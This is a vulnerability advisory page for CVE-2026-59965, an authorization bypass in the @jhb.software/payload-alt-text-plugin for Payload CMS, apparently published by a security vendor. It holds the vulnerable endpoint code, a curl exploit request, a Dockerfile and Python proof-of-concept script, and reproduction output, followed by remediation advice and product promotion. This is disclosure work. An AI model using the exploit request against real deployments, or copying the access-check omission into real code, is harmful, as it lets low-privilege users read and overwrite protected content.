CVE-2026-59965
HIGHCVE-2026-59965 is a high-severity (CVSS 7.1) vulnerability in @jhb.software/payload-alt-text-plugin. O3 Security confirms whether CVE-2026-59965 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
Real-World Exposure
@jhb.software/payload-alt-text-pluginReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission
Summary
@jhb.software/payload-alt-text-plugin v0.7.0 exposes custom Payload CMS endpoints (POST /api/alt-text-plugin/generate and /bulk) that call the Payload Local API (findByID and update) without setting overrideAccess: false. Because Payload's internal logic evaluates shouldOverrideAccess = overrideAccess !== false, omitting the parameter causes it to default to true, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the alt and keywords fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated High (CVSS 7.1).
Details
The plugin registers two network endpoints in alt-text/src/plugin.ts:179-186. Their default access guard (plugin.ts:55) only checks !!req.user, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.
The endpoint handler at alt-text/src/endpoints/generateAltText.ts accepts user-controlled id, collection, locale, and update fields from the request body (line 29), then passes them directly to two unsecured Local API calls:
Read bypass (generateAltText.ts:31):
const imageDoc = await req.payload.findByID({
id,
collection,
depth: 0,
// overrideAccess: false is absent → defaults to true
})
Write bypass (generateAltText.ts:121):
await req.payload.update({
id,
collection,
data: {
alt: result.result.altText,
keywords: result.result.keywords,
},
locale: targetLocale,
// overrideAccess: false is absent → defaults to true
})
The bulk endpoint (alt-text/src/endpoints/bulkGenerateAltTexts.ts) repeats the same pattern at lines 120 (read) and 170 (write).
Payload's internal resolution of overrideAccess is:
shouldOverrideAccess = overrideAccess !== false
// undefined !== false → true → collection access function is never called
Because the collection-level read and update access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.
PoC
Environment setup:
- Clone the repository and install
@jhb.software/[email protected]into a Payload v3 project. - Configure an upload collection named
mediawithreadandupdateaccess restricted to users withrole: "admin". - Configure the plugin with
collections: ["media"]and a resolver that returns{ success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }. - As an admin, create a media document (e.g., ID
doc-001) withalt = "original safe alt text". - Obtain a session token for a non-admin user (
role: "user").
Build and run the dynamic PoC (Docker):
# Build
docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run
docker run --rm vuln001-poc
Exploit request:
curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \
-H "Content-Type: application/json" \
-X POST http://localhost:3000/api/alt-text-plugin/generate \
--data '{"collection":"media","id":"doc-001","locale":"en","update":true}'
Expected result:
- HTTP 200 is returned.
- The response body contains
"altText": "PWNED_BY_EXPLOIT". - A subsequent admin read of
media/doc-001confirmsalt = "PWNED_BY_EXPLOIT"andkeywords = ["hacked", "bypass"], despite the collection's update access being restricted to admins.
Control verification (confirms the bypass is real, not a misconfiguration):
A direct Local API call with overrideAccess: false by the same non-admin user throws AccessError: update denied for collection "media" (user role: user), proving that the access rule is correct and the plugin endpoint is the vector.
Dynamic reproduction output (Phase 2 confirmed):
VULN-001: Alt Text endpoint authorization bypass
Payload Local API overrideAccess omission in
generateAltText.ts:31 and :121
[Step 1] Control: non-admin direct update with overrideAccess:false
PASS: access correctly denied → AccessError
[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate
HTTP status : 200
Response : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}
VULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL
Impact
This is an Incorrect Authorization vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:
- Read the content of arbitrary upload documents that collection access rules would otherwise deny them.
- Overwrite the
alttext andkeywordsfields on those documents, effectively performing unauthorized content modification.
Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.
Reproduction artifacts
Dockerfile
# Dockerfile for VULN-001 dynamic reproduction
#
# Build context: the parent directory that contains both
# repo/ (jhb-software/payload-plugins clone)
# vuln-001/ (this workspace)
#
# Build: docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run: docker run --rm vuln001-poc
FROM node:22-slim
WORKDIR /app
# ---- Copy plugin source files required by the PoC ----
# Only the endpoint under test and its direct dependencies are needed.
# No Payload framework install required: we mock it in the PoC.
COPY repo/alt-text/src/endpoints/generateAltText.ts ./plugin/src/endpoints/generateAltText.ts
COPY repo/alt-text/src/endpoints/schemas.ts ./plugin/src/endpoints/schemas.ts
COPY repo/alt-text/src/utilities/mimeTypes.ts ./plugin/src/utilities/mimeTypes.ts
COPY repo/alt-text/src/types/AltTextPluginConfig.ts ./plugin/src/types/AltTextPluginConfig.ts
COPY repo/alt-text/src/resolvers/types.ts ./plugin/src/resolvers/types.ts
# ---- Copy PoC files ----
COPY vuln-001/package_inner.json ./package.json
COPY vuln-001/inner_poc.ts ./inner_poc.ts
# ---- Install minimal runtime dependencies ----
# zod: schema validation used by the endpoint handler
# tsx: TypeScript executor that handles .js→.ts extension mapping
RUN npm install --no-audit --no-fund
# ---- Run the PoC ----
CMD ["node_modules/.bin/tsx", "inner_poc.ts"]
poc.py
#!/usr/bin/env python3
"""
poc.py — VULN-001 Dynamic Reproduction Orchestrator
Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0
Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission
CWE: CWE-863 (Incorrect Authorization)
This script:
1. Builds a Docker image containing the real plugin endpoint source.
2. Runs the container, which calls the endpoint handler with a non-admin user.
3. Captures stdout/stderr as evidence.
4. Writes the result to phase2_result.json.
Usage:
python3 poc.py
Safety:
- All traffic stays on 127.0.0.1 / localhost inside Docker.
- No external services are contacted.
- No live credentials are used.
"""
import json
import os
import subprocess
import sys
# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
THIS_DIR = os.path.dirname(os.path.abspath(__file__))
# Build context: parent directory that contains both repo/ and vuln-001/
BUILD_CONTEXT = os.path.dirname(THIS_DIR)
DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile")
IMAGE_TAG = "vuln001-poc"
RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json")
BUILD_COMMAND = f"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile ."
RUN_COMMAND = f"docker run --rm {IMAGE_TAG}"
POC_COMMAND = f"python3 poc.py"
def run(cmd: list[str], cwd: str, timeout: int = 180) -> tuple[int, str, str]:
"""Run a subprocess and return (returncode, stdout, stderr)."""
result = subprocess.run(
cmd,
cwd=cwd,
capture_output=True,
text=True,
timeout=timeout,
)
return result.returncode, result.stdout, result.stderr
def write_result(passed: bool, verdict: str, reason: str, evidence: str,
build_out: str = "", run_out: str = "", failure_detail: str = "") -> None:
"""Write phase2_result.json."""
data: dict = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": BUILD_COMMAND,
"run_command": RUN_COMMAND,
"poc_command": POC_COMMAND,
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
}
if failure_detail:
data["failure_detail"] = failure_detail
if build_out:
data["build_output_tail"] = build_out[-2000:]
if run_out:
data["run_output"] = run_out
with open(RESULT_FILE, "w", encoding="utf-8") as fh:
json.dump(data, fh, indent=2, ensure_ascii=False)
print(f"\nResult written to: {RESULT_FILE}")
def main() -> int:
# -----------------------------------------------------------------------
# Step 1: Build the Docker image
# -----------------------------------------------------------------------
print("=" * 60)
print("VULN-001 Dynamic Reproduction")
print("=" * 60)
print()
print(f"[1/2] Building Docker image: {IMAGE_TAG}")
print(f" Context : {BUILD_CONTEXT}")
print(f" Command : {BUILD_COMMAND}")
print()
rc, build_stdout, build_stderr = run(
["docker", "build", "-t", IMAGE_TAG, "-f", "vuln-001/Dockerfile", "."],
cwd=BUILD_CONTEXT,
)
combined_build = (build_stdout + build_stderr).strip()
if rc != 0:
print("ERROR: Docker build failed.")
print(combined_build[-3000:])
write_result(
passed=False,
verdict="FAIL",
reason="Docker 빌드 실패 — npm install 또는 파일 복사 오류",
evidence="",
build_out=combined_build,
failure_detail=f"docker build exit code {rc}:\n{combined_build[-2000:]}",
)
return 1
print(" Build succeeded.")
print()
# -----------------------------------------------------------------------
# Step 2: Run the PoC container
# -----------------------------------------------------------------------
print(f"[2/2] Running PoC container")
print(f" Command : {RUN_COMMAND}")
print()
rc, run_stdout, run_stderr = run(
["docker", "run", "--rm", IMAGE_TAG],
cwd=BUILD_CONTEXT,
)
combined_run = (run_stdout + run_stderr).strip()
print(combined_run)
print()
# -----------------------------------------------------------------------
# Step 3: Evaluate the output
# -----------------------------------------------------------------------
success_marker = "VULNERABILITY CONFIRMED"
pwned_marker = "PWNED_BY_EXPLOIT"
if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:
# Extract the key evidence block
lines = combined_run.splitlines()
evidence_lines = []
in_block = False
for line in lines:
if success_marker in line or pwned_marker in line or "EXPLOITATION" in line:
in_block = True
if in_block:
evidence_lines.append(line)
if in_block and line.startswith("→"):
break
evidence = "\n".join(evidence_lines) if evidence_lines else combined_run[-1500:]
write_result(
passed=True,
verdict="PASS",
reason=(
"비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 "
"admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. "
"generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 "
"Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 "
"컬렉션 레벨 access 함수가 우회됨. "
"직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공."
),
evidence=evidence,
run_out=combined_run,
)
print("PASS — vulnerability dynamically confirmed.")
return 0
else:
print("FAIL — success marker not found or container exited non-zero.")
write_result(
passed=False,
verdict="FAIL" if rc != 0 else "INCOMPLETE",
reason=(
f"컨테이너 종료 코드 {rc}. "
"성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. "
"로그를 확인하여 원인 파악 필요."
),
evidence=combined_run[-2000:],
run_out=combined_run,
failure_detail=f"Container exit code: {rc}\nstdout+stderr:\n{combined_run}",
)
return 1
if __name__ == "__main__":
sys.exit(main())
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @jhb.software/payload-alt-text-plugin | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @jhb.software/payload-alt-text-plugin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of @jhb.software/payload-alt-text-plugin has shipped for CVE-2026-59965 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-59965 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-59965. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-59965 in your dependencies?
O3 detects CVE-2026-59965 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.